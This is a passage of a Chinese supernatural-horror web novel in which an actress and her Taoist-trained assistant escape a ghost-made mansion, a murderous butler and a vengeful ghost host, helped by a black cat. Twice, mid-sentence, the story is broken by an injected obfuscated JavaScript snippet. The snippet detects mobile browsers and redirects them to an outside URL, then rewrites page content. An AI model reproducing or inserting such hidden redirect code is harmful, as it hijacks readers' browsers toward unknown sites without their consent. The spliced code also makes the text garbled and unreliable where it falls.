“生魂。”谢阮重复了一遍,“继续。” 方季遂挠挠头,感觉自己一下子回到了幼年被师父抽查课业的日子。 “我们现在所处的这个位面叫魂场。现实世界中,肉身与魂魄相融、三魂七魄俱在才叫活人,但活人不能用肉身进入魂场,所以咱俩现在其实是魂体,也就是魂魄离开肉身后的生魂相。 按理来说,活人身故,天魂会去往天路,地魂则会流连于阴宅,而命魂落入因果是非地,三魂只有再度重聚才能去往轮回之境。 但魂场不是。魂场内存在极少数的亡魂拥有完整的三魂七魄,他们和生魂唯一的区别,就是再也不可能挣脱魂场,回到原本的身体里。除非魂场崩塌,否则即便这些亡魂聚拢三魂,也不能入轮回。” 一般只有生前横死,死后执念极深以至难以度化的亡魂才会流连人世间,魂场也正是由此形成。刻骨铭心的爱、毒入肺腑的怨,或是思念,或是痴盼,魂场形成需要极其强烈的情感支撑。 丢了魂的鬼没有自己的意识,无所谓生死,但造成魂场的亡魂却最忌讳议论生死。因为他们有三魂七魄,所以潜意识里认定自己也是生魂。 一旦被人点破真相,后果将不堪设想,尤其魂场大都是怨憎所致,生魂想要全须全尾地离开魂场并不容易。 方季遂的那句“死相”已经引起了魂场主人的注意。 谢阮不解,“可赵舒昕没对我们动手。” 方季遂摇头,“那杯茶。” “那杯茶散发着一股生魂难以捕捉的气息,泡茶的水取自灌愁海极幽之地,煮沸后水质清澈,放入任何一种茶叶都不会改变色泽。 亡魂喜爱这种水的气味,但如果生魂饮下,便会成为没有意识的傀儡,从此不生不死地游荡在魂场之中。既不算生,也谈不上死,因而也就没有了轮回。” 谢阮不动声色地摸上发簪,问:“你是怎么闻到的?” 5. 水晶兰 “我当然不可能闻那杯茶。”方季遂好像知道谢阮在怀疑什么,颇为无语,“我姐肯定和你提起过,我从小能看见一些普通人看不见的东西。” 方家发现这一点后,连夜将方季遂送到了一个老道士手下。 “就是谢家祖宅后面的长禄山。”他说。 长禄山位于黎津郊区,山中树木繁盛,南北各有一座私宅,谢家在南山脚,谢氏宗祠则建在半山腰。宗祠附近据说有衣冠冢,但谢阮只见过那些人的牌位。 出了祠堂便是深山老林,从半山腰沿某条山道一路向东,再走半个钟就到了山顶。 谢阮找到山顶的道观时,里面已经人去楼空。 不过,听方季遂的意思,他曾跟着老道士在那座道观中修行过一段时间。 谢阮往回拉了一遍时间线,推测小方同学应该是在上小学之前下的山。 “生魂不能也不可能闻到那杯茶原本的气味。”方季遂继续说,“但赵舒昕身上的气息藏不住,凡是碰过那种水的亡魂,死气会更明显。” 谢阮问:“类似下过雨的烂泥地?” 方季遂点点头,“没错,就是这股气味。我那会儿怕她找鬼强行灌你茶,所以才捏了个手诀以防万一。” “幸好赵舒昕执念未消,还不想立刻魂飞魄散。”他抹了一把不存在的汗,说,“要是她打定主意和你同归于尽,镯子加我都救不了你。” 闻言,谢阮屈指蹭了蹭手腕上的翡翠镯,“为什么是镯子?” 刚才在宴会厅的时候她就发现了,手镯会因为赵舒昕的靠近而发烫,这点温度不会对谢阮造成任何伤害,但赵舒昕收手时,她身上那股难以言喻的腥气里似乎掺进去了一缕焦臭。 好像皮肉被烈火焚烧,直至焦黑腐烂。 “我就知道你看不见。”方季遂露出一副果然如此的表情,“你戴的这只镯子,内壁雕了一段文字,是超度亡魂的一种咒术,只有特定的光源和角度才能折射出完整内容。” 谢阮于是捏着手镯转了两圈,仍然没能找到那串稀奇古怪的文字。 她没接触过这些,方季遂却看得一清二楚,那是一段镇压厉鬼、保全生魂的咒。 而那道多出来的焦味,正是赵舒昕被咒灼伤了魂体。 方季遂本以为手镯是那位在进魂场前套给谢阮的,但见到魂场主人后,另一种可能出现了。 话说回来,他一拍脑门直起身,问:“你现在感觉怎么样?有没有头晕、反胃恶心?” 谢阮:“?” “那瓶酒呀。”方季遂盯着她上下打量几遍。 那瓶红酒不在方季遂的认知范围内,主要他也想不到,平时一贯迟钝的谢阮会这么虎,竟敢公然和魂场主人抬杠。 谢阮轻轻摇了摇头,“我没事,都吐掉了。” 她选的是先前送给陈仪当赔礼的红酒,虽然看着像是喝下去小半杯,但其实大部分都被她假借呛酒吐干净了。 真·big胆,方季遂由衷感叹。 “那瓶酒年份不对。”谢阮瞥了一眼不远处的宴会厅入口,语焉不详,“被那些东西盯上以后,只要能够提前预知到危险,就能暂时化解眼前的困境。” 赵舒昕的魂场里,布景、服装、饰物摆件全都属于同一个时代背景,谢阮送给陈仪的红酒因此才显出几分突兀。 谢阮想用那瓶红酒验证一个假设—— 赵舒昕和管家一样,一旦被人察觉杀意,便不能再轻举妄动。 早在月季小院,黑猫就已经提醒了她。 谢阮运气不错,赌赢了。 - 夜色渐深,随时间一同流失的,是生魂对时间的感知力。 谢阮不知道现在距离酉时过去了多久,但困意持续上涌,留给大脑清醒思考的时间已经所剩无几。 巨大的水墨挂画下,注意力从赵舒昕又回到画本身。 方季遂蹲坐在墙边打了个哈欠。 “我们现在在这里。”谢阮轻眯起眼睛,手指隔着一段距离虚点在画的南北中轴上。 比起园林工笔,这幅画其实更像一张地图。 作者是出于什么心态创作出的这幅画,谢阮无从得知,但从细节来看,作者对西北角的月季小院有很明显的情感偏好。 着色最多,层次铺垫也最细致。 而坐落于何宅中轴线上、作为晚宴主场的这间宴会厅却仅仅只得到了一个简单的屋顶特写。 作者仿佛曾经站在房顶俯瞰过整栋建筑,再用寥寥几笔勾出宴会厅的轮廓。除了月季小院,其他房屋几乎是比照现代房屋样板图绘制的。 就像有人记住了售楼广告上的房屋模型,然后一比一复刻在魂场里。 能够完成这件事的,只有魂场主人。 此外,宴会厅前的长廊走向也格外奇怪。 在谢阮的印象中,她和方季遂穿过长廊,贴着一个九十度的直角拐入宴会大厅。 然而画上显示,宴会厅的长廊是人字形。 换而言之,两人无论如何都走不进一条含有直角的L形长廊,他们本该畅通无阻地走过一条斜直线,直线尽头不是挂着画的墙,而是宴会厅入口。 谢阮踢了一脚方季遂,“过来看。” 方季遂使劲儿搓了搓脸,眯眼看了一会儿画,“你的意思是,我们进门后走了一条凭空出现的长廊?” “有可能。”谢阮挪到最近的一扇彩绘玻璃前,模糊光影反射出她的面孔,“至少这条走廊确实完全封死。” 方季遂挠头,“假设斜直线上的走廊才是真实的走廊,那么一定有什么条件触发了L形走廊的出现。” 谢阮不置可否。 她正垂着眼和玻璃反光里的自己对视,移动的走廊、密不透风的玻璃......所有残碎线索在脑中渐渐汇聚,电光火石间,窗外蓦地闪过什么。 玻璃上,谢阮的脸急速失水收缩,收窄成皱皱巴巴的一团。青白面皮不太对称地吊着两个硕大的眼珠,五官如同四处拼凑来的,胡乱堆砌到一起,显得拥挤而滑稽。 谢阮一愣,还没来得及细看,身后便响起一串脚步。 影子咧了咧嘴,瞬间失去了踪迹。 谢阮最后看见的,是一抹淡银色的光点。 方季遂走到她旁边,探头张望,“看什么呢?” “外面,外面好像有个人过去了。”谢阮皱眉朝一旁挪了两步,给他腾出照镜子的地方。 方季遂趴在窗前,嘟哝道:“不透光啊。” 但谢阮不觉得自己看错了。 会是谁呢?她在脑海中搜索起见过的鬼,发现没有一个长成这副鬼样。 等等。 谢阮忽然想起了一个人。 不,是一个鬼—— 何宅的管家。 尽管初见面时老管家还不像现在这样五官乱飞,但他胸前别着的那枚水晶饰品,的确在晚霞中闪烁着淡银色的光。 她拍了一下小方,问:“你见过会发光的天然水晶吗?” 方季遂:“?” “如果你指的是自体发光的话,我好像没见过。” “那有没有什么长得很像水晶的东西......” 谢阮说到一半,陡然想起宴会厅顶部那盏华美的水晶吊灯。 水晶灯被做成鲜花盛开的造型,每一截向外伸展的枝丫末端都托着一株铃兰模样的水晶装饰。 如果把管家胸前耷拉下去的瓣状水晶拨正,好像也应该是铃兰的形状。 想到这里,她一把扯过方季遂,两人鬼鬼祟祟摸进宴会厅。 赵舒昕夫妇不在,倒是方便他们看灯。 “看见那个了吗?”谢阮拽着人躲到一根柱子后,“就是那盏水晶吊灯的分叉末端。” 方季遂循着她手指的方向抬眼望去,紧接着在一片眩目的光晕中,找到了谢阮想要他看见的东西。 方季遂:“!” 他难以置信地瞪大了双眼,随后匆忙推着谢阮回到长廊。 谢阮了然,低声问:“是什么?” 方季遂抿抿嘴,“水晶兰,而且是活的水晶兰。” 谢阮没听说过这种花,但看方季遂的表情也隐约感知到事态的严重,“管家胸前就戴着这种水晶兰。” “那不是普通的装饰品。”方季遂叹了口气,“传说里,水晶兰是真正寓意死亡的使者。” 没有受过光线照射的水晶兰看起来就像一块温润的玉,而一旦接触到光线,水晶兰便能根据光的强弱来改变自身的透光性。 这种花的生长环境远不如它淡雅清净的外表,它诞生于阴暗幽深的山穴间隙,从自然界的各种腐料中汲取养分。 即使透光性和水晶相似,也鲜少有水晶兰能在夜晚自体发光。 除非,它盛开于腐烂的尸体之上,并且受到长年累月的死气供养。 方季遂焦虑得原地打转,“我们必须尽快从宴会厅离开了。” 救兵不知道什么时候才来,他踱回窗边,试图寻找那一抹熟悉的黑影。 谢阮怔了片刻,迟来的恐惧终于还是沿着血管青色的脉络,攀上了神经末梢。 “阮姐。”方季遂喊她,“好像能看见一点了,你看看那是什么?” 谢阮回神,走到另外半扇窗户前,透过彩绘玻璃的缝隙朝外看。 窗外是大片厚重的黑,廊灯被笼罩进一片浓稠的雾里,光线弱化后,仿佛悬浮在半空的鬼火,朦朦胧胧。 隔着一扇窗,两人看见正前方约莫五六米远的地方,有两道身影一站一蹲。 方季遂先认出了管家,“他胸前的水晶兰闪了一下。” 管家蹲在地上,微微侧身,从谢阮的角度,刚好能看见那枚垂着花瓣的水晶兰。 方才闪烁的那一下,应该是另一人绕过管家时,不慎挡住了水晶兰所致,那人走到管家对面,现在正背对着谢阮和方季遂。 光线晦暗,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501908|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道站立的身影单薄纤细,多半是女性。 管家与不明身份的女人中间还横着一团阴影。 谢阮看见了一双鞋,影子是一个人。 因为老爷不喜客人迟到,所以进入宴会厅的都是守时的客人。谢阮望向管家被浓雾覆盖的脸,心底缓缓升起一个大胆的猜测。 “那会不会是......”她欲言又止,“迟到的客人?” 方季遂瞳孔地震,喃喃:“这个点还在外面,活不成了吧。” 他不知想到什么,面色惊恐地掐了个诀,嘴里叽里咕噜不知道念着哪家的经文。 谢阮只听懂了一句南无阿弥陀佛,老道士也会教小徒弟念佛经吗? 她不合时宜地生出几分好奇,“你几岁下的山?” 方季遂随口答:“上小学之前。” 谢阮啊了一声,“那你在山上住了几年?” 方季遂五指张开比了个数。 谢阮:“五年?” 方季遂:“五个月。” 谢阮:“......”那没事了,估计死到临头也指望不上他。 “小说里不都是要在山中清修到成年吗?” 方季遂心说那可不行,他得积极响应义务教育啊,毕竟老方还等着他成为根正苗红五好青年光宗耀祖呢。况且新时代修道也比以前先进多啦,经文符篆教科书都有PDF版本了。 方季遂想起小时候在道观里掏鸟蛋被鸟啄屁股的事,稍微放松了一点。 “什么迟到的客人?”他问。 谢阮扬手指了指长廊另一端看不出入户门轮廓的墙,说:“如你所见,我是最后一个走过这扇门的人,如果我是卡着酉时进的门,那么在我之后到达这扇门外的客人就都是迟到的客人。” 方季遂亲眼目睹了大门的消失,自然清楚迟到的客人不能再从谢阮走的门进入宴会厅。 因为门在酉时,也就是晚上七点之后,会完全融为一堵墙,无法打开。 所以迟到的客人只可能面临两种选择,要么自行离开,要么...... 方季遂接上她的思路,“要么绕道从另一扇门进入宴会厅。” 假如真正的长廊是人字形,宴会厅里应该存在两扇门。 但一撇一捺末端的门是假的,想要离开宴会厅,恐怕得找出人字形长廊上唯一一扇真实的门。 “你觉得......”谢阮含糊道,“迟到的客人真的能进宴会厅吗?” 疑似是何宅老爷的何宥文自身难保,犹如提线木偶,被管家反复强调的那句“老爷不喜客人迟到”究竟是对所有宾客的警示,还是某种自我暗示? 余光里,淡银色的光点再次闪过,两人齐齐转头。 背对着窗户的女人缓缓转过身。 浓雾渐淡,夜半层云散去,月辉倾泻而下的瞬间,谢阮看清了远处的景象—— 管家将全身重量都压在他手边的木质长柄上,长柄另一端延伸出一块泛着冷光的铁器,一侧锋利的棱角正慢慢卡进地上人的腰腹。 一旁,赵舒昕抚摸着肚子侧身而立,一双漆黑浑浊的眼睛直勾勾望过来。 怨毒的视线如有实质,谢阮确定对方看见了自己。 两鬼之间,那个任由管家摆弄的男人忽然诈尸一般挺起半截身子,痛苦地挣扎起来。 头顶廊灯亮起,方季遂扯着谢阮后退两步,厉色道:“是何宥文,已经死了。” 话音刚落,管家抛下脚边蹦跶的半截何二,举起板斧自上而下地劈过来。 刹那间血液四溅,月色融进一抹血色,有几滴甚至落在了谢阮眼前的彩绘玻璃上。 不对劲,不可能这么近。 谢阮别过脸,走廊一端,弯道果然连同挂画一起消失了,原本隐在直角拐角的宴会厅入口倏然出现,整个走廊已然变成了一条直线。 咔咔—— 玻璃窗晕开几道裂纹,谢阮战战兢兢地回头,看见赵舒昕正趴在窗框上咧着嘴笑。 方季遂见状,迅速抬手捏出一个诀吓唬鬼,“退!” 这一下掷地有声,玻璃裂开的速度竟然奇迹般慢下来,谢阮刚准备将自己的人身安全托付给助理时,耳畔猝然响起更加密集的“咔嚓咔嚓”。 整面玻璃发出哔哔剥剥的声响,以赵舒昕鼻尖的落点为圆心,呈蛛网状向四面八方扩散。 空气逐渐陷入死寂,谢阮拔下发簪攥进手中,用力推了一把掏干净裤兜也没摸出半张黄纸的方季遂,“跑啊!” 哗—— 玻璃豁开一道小口。 与此同时,二人拔腿狂奔,一头扎进了宴会厅。 宴会厅内三魂不全的鬼被两个闷头乱撞的生魂惊扰,循着气息悄悄缀在了两人身后。 而那扇越碎越多的彩绘玻璃也终于被板斧劈开,伥鬼在前,魂场主紧随其后,相继越过窗槛闯进走廊。 年迈的管家顶着一张缝合过的脸,嘴角拉起了一道弧度惊悚的笑。 6. 故人来相见 脚下传来一阵猛烈的震动。 宴会厅内,华丽繁复的吊顶断了一根线,悬在半空左右摇晃,光线明灭不定,映照出视野间一片影影幢幢。 如果现在有人从何宅上空俯瞰这片古老的园林式建筑,就能发现横贯南北中轴的L形长廊,正以一种不可思议的速度迅速收缩成倾斜的直线。 谢阮粗略计算了一下这会儿从那扇彩绘玻璃窗跑进宴会厅的路程,明显比意外发生前路近。 走廊两侧,嵌在墙上的窗户不再是简单的装饰,夜色透过玻璃渗进来,点亮了间距极小的铜制窗格。 除了被管家劈开的那扇玻璃窗,其余窗户依旧被窗格封死,正常人根本不可能从窗户逃生。 而酉时打开的入户门早已融入了光滑平整的墙面。 唯一面向两具生魂开放的,只有充斥着游魂的宴会大厅。 子时到了。 过去与未来相交于午夜的钟响,零点之后,残魂会重新归于迷惘,新的一天将从漆黑浓稠的夜色下诞生。 踏进宴会厅的刹那,人字形长廊完全成型,水晶吊灯断触般一暗,所有壁灯全部熄灭。 短暂的黑暗过后,宴会厅内突然亮起一圈淡银色的光点。 沉寂许久的游魂有一瞬的茫然,过了一会儿,谢阮瞥见他们朝着光源飘去。 她和方季遂屏息跟在队伍最后,没走几步,又被四处乱窜的阿飘裹进了鬼群中。 走了约莫两三分钟,队伍潮涌的速度渐渐慢下来,谢阮抬起头,看见了头顶悬浮的水晶兰。 铃兰模样的花朵绽放在夜晚阴气最浓重的时刻,它们高高在上冒充月亮,用一点淡银色的光将游魂诱骗至此,再贪婪地吸走他们身上残留的死气。 失去死气支撑的魂体逐渐变得透明,谢阮察觉到周围拥堵的亡魂正缓慢减少。 不多时,宴会厅空了。 水晶灯下方,唯二的两具生魂稍显拘谨,似乎没料到那些宾客会以这种方式消失。 谢阮愣了愣,一时不察,将后背暴露给了宴会厅黢黑的入口。 反应过来时,空气里响起一串刺耳的娇笑。 咯咯咯咯咯咯—— 那笑声由远及近,在近乎封闭的长廊内回荡,直至裹挟着一道劲风迅速袭向二人。 谢阮下意识朝右侧一躲,旋即头也没回,和方季遂在偌大的宴会厅中各自抱头鼠窜。 十分钟后。 方季遂第五次折返回酒架旁,掀起盖住长桌的丝绒布躲了进去。 不跑了,他已经在宴会厅里跑了整三圈,再跑下去都不用等魂场主追上,他能先把自己累死。 那副长得像地图的画简直是诈骗,方季遂抱住桌腿,恍然大悟,“这房子内部构造如此复杂,难怪作者只画了个房顶。” 更糟糕的是,刚才他慌不择路,匆忙之中和谢阮走散了,也不知道对方这会儿怎么样。 方季遂生无可恋,默默掐了一卦,还没算出救兵到了哪里,后颈蓦地一凉。 身侧,有人幽幽叹了一口气,“你怎么不跑了?” 方季遂虎躯一震,差点以为赵舒昕杀过来了。 他咽了咽口水,慢慢转头,看清谢阮隐在黑暗中的脸时,陡然松了口气。 “怎么办啊阮姐?” 谢阮:“?”你是道士我是道士? “我怎么知道?”她蹲在地上,用气音回呛方季遂,“你师父没教过你这种情况要做什么吗?” 方季遂疯狂摇头,“我不懂啊我又不是法刺——” 没办法,因为救兵太能打,鬼怪几乎没有机会扑到他脸前。方季遂的技能树只点了掐算占卜,是干后勤的一把好手,天生的赛博奶妈。 谢阮:“......”天要亡她。 事已至此,只能祈祷赵舒昕不是闻着生魂的味儿找人的,谢阮伸手把两边桌布扯严实了一些,又用脚踩住了桌布边缘。 方季遂好像还想说两句,但怕控制不住音量,于是把话咽回去,踩着另一片桌布和她大眼瞪小眼。 空气里漫开一阵沉默。 两人不约而同放缓了呼吸,一时间,宴会厅内落针可闻。 踢踏、踢踏—— 高跟鞋重重踩过地毯,愈发逼近酒架。 谢阮半跪在桌子下面,大部分重心都压到了拖沓的桌布上。 掌心沁出的冷汗已然将小块布料濡湿,她牢牢握住簪子,力气大得像是要把那根细长的银器拉成另一种形状。 千万不要过来,谢阮默念。 但事与愿违,脚步声消失在了长桌前。 赵舒昕停下了。 宴会厅里,水晶兰吸足了死气,光线越发明亮,哪怕酒架摆在角落,厚重的丝绒桌布也无法阻挡大片银辉渗入桌底。 隔着一层桌布,谢阮看见一双腿的影子。 紧接着,腿的主人慢慢蹲下,倾身朝她所在的位置凑近。 谢阮不得不松开按着桌布的手,上半身后仰拉开距离,一只脚仍然死死踩住垂落的布料。 她背部紧绷,攥着发簪的手微微抬起,蓄势待发,俨然一幅准备反击的姿态。 方季遂小心翼翼地蛄蛹到谢阮旁边,严阵以待。 变成魂场主以后,亡魂仅受执念驱使,智力水平直线下降,赵舒昕在桌布外面挂了好一会儿也没有摸索出进入桌底的方法。 她只能不断压向谢阮,魂体的重量牵扯着桌布迅速滑落,谢阮听见头顶传来酒杯碗筷哐啷晃动的声音。 水晶兰持续抽取着破败魂体内残留的阴气,游魂缓缓消散,被死气掩盖的生魂气息一览无余。 找到了。 赵舒昕卖力地朝前耸动身躯,像一只蠕动的虫子。她咧嘴吃进去一片绒面桌布,那股腐叶草灰的气味透过腥臭的口水漫进桌布后。 谢阮生理不适,掩唇干呕了两下。 与此同时,桌布兜住赵舒昕,瓷碗乒乒乓乓地掉下来。 谢阮扭头,发现身后已经失去了桌布遮掩,水晶兰打着旋儿飘向四处,淡银色的光芒犹如流淌的星河。 她抬起胳膊捅了一肘方季遂,示意他别跑错地方。 小方点点头,连滚带爬地转身,调整好逃跑方向。 大片光线源源不断地渗进来,谢阮轻眯起眼睛,慢慢收回踩住桌布的脚。 轰—— 长桌被缠结的桌布拉倒,谢阮一巴掌拍在方季遂后背,“往宴会厅门口跑!” 方季遂咻一下冲了出去。 谢阮:“?”这是她那个弱不禁风的脆皮助理? 方季遂很快跑没了影,谢阮却因为魂场安排给她的旗袍和高跟鞋备受掣肘。 她扶着桌子迅速起身,踢掉碍事的鞋子后,顺手把长桌朝赵舒昕的方向摁下去。 但长时间维持一个姿势蹲在地上,谢阮的右腿隐隐发麻,从桌洞里钻出来时,她眼前一黑,差点踩到赵舒昕横在路中央的腿。 来去自如的魂场主现在在和桌布打架,她的脑袋被桌布缠住,整个人趴在地上诡异地扭动着。 谢阮掂量了一下手里的发簪,深感发簪无法弥合敌我悬殊的战力差距,于是果断放弃正面硬刚的打算,一瘸一拐朝宴会厅出口跑去。 黢黑的出口外伸手不见五指,谢阮其实也不确定走廊是否是生路。 但她别无选择,继续留在宴会厅迟早会被魂场主献祭给那些水晶兰。 谢阮光着脚拔腿狂奔。 出口近在咫尺,只差几步便能回到走廊,然而下一秒变故陡生,耳畔猝然响起布帛撕裂的声音。 谢阮脚下一滑,整个人直挺挺地向前栽倒。 地毯被人抽走,光裸的膝盖擦过粗糙地面,她跪趴在地上,疼得蜷起了身体。 始作俑者却有些得意。 不远处,赵舒昕扔掉撕坏的地毯,饶有兴致地欣赏了片刻谢阮的狼狈,心满意足后才不疾不徐地踱着步子走近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501909|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没有地毯遮掩,高跟鞋一步一步踩在了谢阮敏感脆弱的神经上。 赵舒昕走到她身后,一错不错地盯着她看。 谢阮如芒在背。 她低头看了一眼手腕上的翡翠镯,没有任何变化,晚宴时的异样好像只是她的错觉。 没时间犹豫了,谢阮攥紧发簪,踉跄着爬起来。 站直的瞬间膝盖传来一阵剧烈的疼痛,她咬住下唇,反手将发簪捅向身后。 咔—— 银器尖锐的一端精准扎进了某种坚硬的固体,谢阮不敢大意,捏住发簪尾部怼着那处钻了两圈。 周围一片死寂,回应她的是一声亲昵的低嗔。 “谢阮,我好痛。”赵舒昕贴过来,冰凉的手五指张开,扣住了谢阮的脖颈。 人在极度恐慌时好像忘记了害怕,五指逐渐收拢,谢阮感受不到自己的呼吸和心跳了。 濒临窒息前,脑中某根断掉的弦重新连接。 彼时谢阮意识模糊,没有看见心口一闪而过的那抹幽绿。 苍翠的绿仿佛蕴含着无穷的力量,沿着血管蔓延向指尖,化作牵动木偶的丝线,驱使她把发簪从赵舒昕的颅骨里抽了出来。 赵舒昕虽然死了,但她到底是个三魂七魄都在的亡魂,这样的魂体在魂场内与常人无异,有骨骼有血肉,也有重量。 囫囵被谢阮捅穿眼眶,又被她从骨缝中拔出发簪,一来一去,痛感是实打实的。 赵舒昕因此本能地松了手。 “咳咳。”一大股新鲜的空气涌入肺腑,谢阮捂住脖子缓慢地呼吸。 她没再向外跑,刚才摔的那一跤加上赵舒昕差点掐死她的那一下,不支持谢阮继续跑路。 好在被察觉杀意的亡魂不能对生魂下手,她暂时没有性命之忧。 “别走了,谢阮。”赵舒昕把滚落的眼珠塞回眼眶,隔着一拳左右的距离站到她身边,低声邀请,“等管家处理掉你的助理,这里就剩我们两个人,外面的世界早就乱了套,你不如留下,和我一起......” 一起什么,赵舒昕并未明说,但她看谢阮的眼神像看一块上好的养料。 谢阮没有回应。 她在想赵舒昕这个人。 新晋小花,去年才擦边进入流量圈,人设风格据考证和少年成名的谢阮十分相似,粉丝控评时却总拉踩谢阮,而竭力鼓吹赵舒昕的高贵冷艳。 年初华琅颁奖典礼,主办方来事儿,把两人的红毯顺序安排成一前一后,谁是原装谁是仿品,一目了然。 谢阮以为她和赵舒昕应该是水火不容的关系。 但现在看起来好像不是这么回事儿。 怔忪间,冰凉的手指再次搭上她的后颈,赵舒昕将人往后一拽,附耳道:“没人能救你,也没人能救我。” 闻言,谢阮一愣。 “我们才是同类。”赵舒昕语焉不详。 话音刚落,一阵风穿过被管家劈开的窗户,飘进了死气沉沉的大厅。 手腕上的镯子开始发烫,谢阮很快闻到了熟悉的焦味。 赵舒昕却毫不在意,甚至不顾轻触在谢阮脸侧的手正缓缓消散,包裹住指骨的皮肉随之溶解在空气中。 她看向谢阮的目光里包含着一丝令人费解的柔软,全然不似谢阮所以为的那样针锋相对。 “起风了。”赵舒昕眺眼望向宴会厅黑洞洞的出口,长廊的另一端仿佛没有尽头。 喵—— 远处断断续续飘来几声猫叫。 赵舒昕身形一滞,戒备地注视着那片黑暗。 钳制住谢阮的那只手完全消失,她借机撑住刺痛的膝盖直起身,扶着墙一步一顿地向外走去。 赵舒昕不会再出手阻拦。 因为发烫的翡翠镯有金光溢出,烧灼感明显超过了亡魂的承受极限。 穿过出口浓稠的黑雾,黑猫叼着一颗莹白圆润的珍珠扣缓步走来,苍绿色的竖瞳底部映出一片寒冷的光。 7. 天降小猫 “天干物燥,小心烛火——” 长风卷起打更人的呼号,裹着掷地有声的梆子敲击声飞入何宅。 谢阮吃力地朝外走去,脚边跟着一只走路不带响的黑猫。 宴会厅的出入口旁,赵舒昕像被施了定身术,一动不动立在原地。 她和谢阮之间仿佛横亘着一条看不见的暗河,以宴会厅的厅门为结界,又与化为斜直线的走廊分割开来。 视线兀自落在谢阮身上,温柔中夹杂着少许怀缅,赵舒昕不受控制地陷入回忆,渐渐复杂的神情里竟然生出了几分怨怼。 黑猫察觉到身后愈发浓重的阴气,转头龇牙咧嘴瞪了赵舒昕一眼。 谢阮并未注意到它的小动作。 前不久摔的那一跤应该不只是擦破了皮,膝头泛起细密如针刺般的疼痛,谢阮备受折磨,每多走一步路,脸上的血色便褪下去一分。 夜半,没有灯光的走廊好似寂静幽深的石窟洞穴,管家劈开的那扇窗户还剩半截窗框挂在墙边,玻璃碎了一地,月色掩映之下,犹如细碎的钻石熠熠生辉。 谢阮越走越慢,直到捱不住蚀骨钻心的痛,倚着墙停下。 后背已经完全汗湿,她小幅喘息着,汗珠沿额角淌过脸颊,砸在了黑猫的耳朵尖。 黑猫一个激灵,瞪圆了眼睛。 它仰头观察起谢阮,旋即蹭到她腿边,用尾巴圈住她的脚踝,试图把谢阮朝某个方向拽。 “喵——”不要停在这里。 毛茸茸的触感吓了谢阮一跳,她低下头,看见明显有些着急的黑猫,忍痛跟着它继续走了一段路。 一人一猫来到长廊尽头,面前不是门,而是隐匿在寂夜中的另一面墙。 【那是她来时的路,如今也不知能不能算作归途】 谢阮脱力地蹲在墙边,眼前不知怎地,走马灯一样掠过《如昼》的剧本。 电影中,富丽堂皇的宴会厅被突如其来的炮火轰垮,谢阮客串的富家小姐孤身从破败的大门中走出,精致的面孔沾满爆破过后的烟尘。 在她身后,熊熊烈火燃烧在断垣残壁之上,昭示着流离失所的战乱时期由此拉开序幕。 “如昼,意思就是像白天一样。”陈仪指着剧本给谢阮讲戏,“像白天,但又不是白天,你明白我的意思吗?” 昼夜更替,晨露未晞。夜色尚未完全褪去,地平线已隐隐有了光亮。 那是太阳即将升起的时候。 她可能等不到天亮了,谢阮抬手抹掉鼻尖上的汗,苍白的嘴唇边勾起一抹自嘲的笑。 这条路是完全封死的。 她还是没有找到正确的门。 至于消失的方季遂,可能是机缘巧合得以逃出生天,也可能如赵舒昕所说,已经被管家处理掉了。 谢阮希望他活着出去,这样日后清明会有人记得给自己上柱香。 眼皮越发沉重,她蜷缩着身体依偎在墙角,一动不动,如果不是呼吸尚存,黑猫也差点感知不到她身上属于生魂的气息。 它绕着谢阮转了两圈。 踟蹰片刻,黑猫凑近了谢阮戴着翡翠镯的那只手。 它垂着脑袋,贴在镯子表面轻轻蹭了蹭。 几秒后,一缕微弱的金芒从手镯内侧涌出,一道高大的身影缓缓出现在黑猫身后。 青年周身浮动着淡青色的光,他走到谢阮面前,弯腰扣住她的肩膀,另一手从她膝下穿过,准备将人打横抱起。 但他忘了,自己是用猫身进入魂场的。 活猫进魂场会显化出猫的魂体,而活人的魂体,自然也只能对应人形。 没有实体的虚影根本不具备这样的能力,青年望着自己无法凝实的双手,沮丧地蹲回谢阮身边。 过了一会儿,他顺着那缕金芒的余晕,重新回到黑猫的身体里。 发愣的黑猫倏然抬头。 它抖抖耳朵,抬爪攀住谢阮的腿,随后在她膝头轻轻舔了两下。 破皮的地方忽然开始以一种诡异的速度愈合。 谢阮颤了颤睫毛。 下巴湿漉漉的,是猫在舔她。 “好痒。”谢阮有气无力地点了两下小猫鼻子,“我没睡,别担心。” 黑猫撇开脸,伸出前爪拍拍她的脚踝。 “喵。”快走。 谢阮了然,踉踉跄跄地爬起来。 不知是不是她的错觉,膝盖好像没那么痛了,谢阮悄悄看了一眼猫。 猫已经走远了。 它走到那面墙前,喵呜喵呜嚎了几声,好像在催促谢阮过来。 谢阮走到黑猫身侧,凭感觉摸了摸墙面。 这面墙是人字形走廊的交点,一撇一捺相交于这一点,左右各自连接一段斜直线形状的走廊,通往不同方向。 站在这面墙前看不见宴会厅的出入口,因为有拐角切断了绵延的视线。 就像酉时进入宴会厅时,L型长廊的那个直角。 谢阮心底涌起一股奇异的熟悉感。 手掌贴着墙面从一侧开始摸索,黑猫跟在她腿边,看着她从墙角一路摸到某个位置附近。 下一秒,谢阮的手终于如它所愿穿过那面墙,黑猫看准时机平地跃起,一脚蹬在她后背,把人从墙内踢了出去。 谢阮:“?” 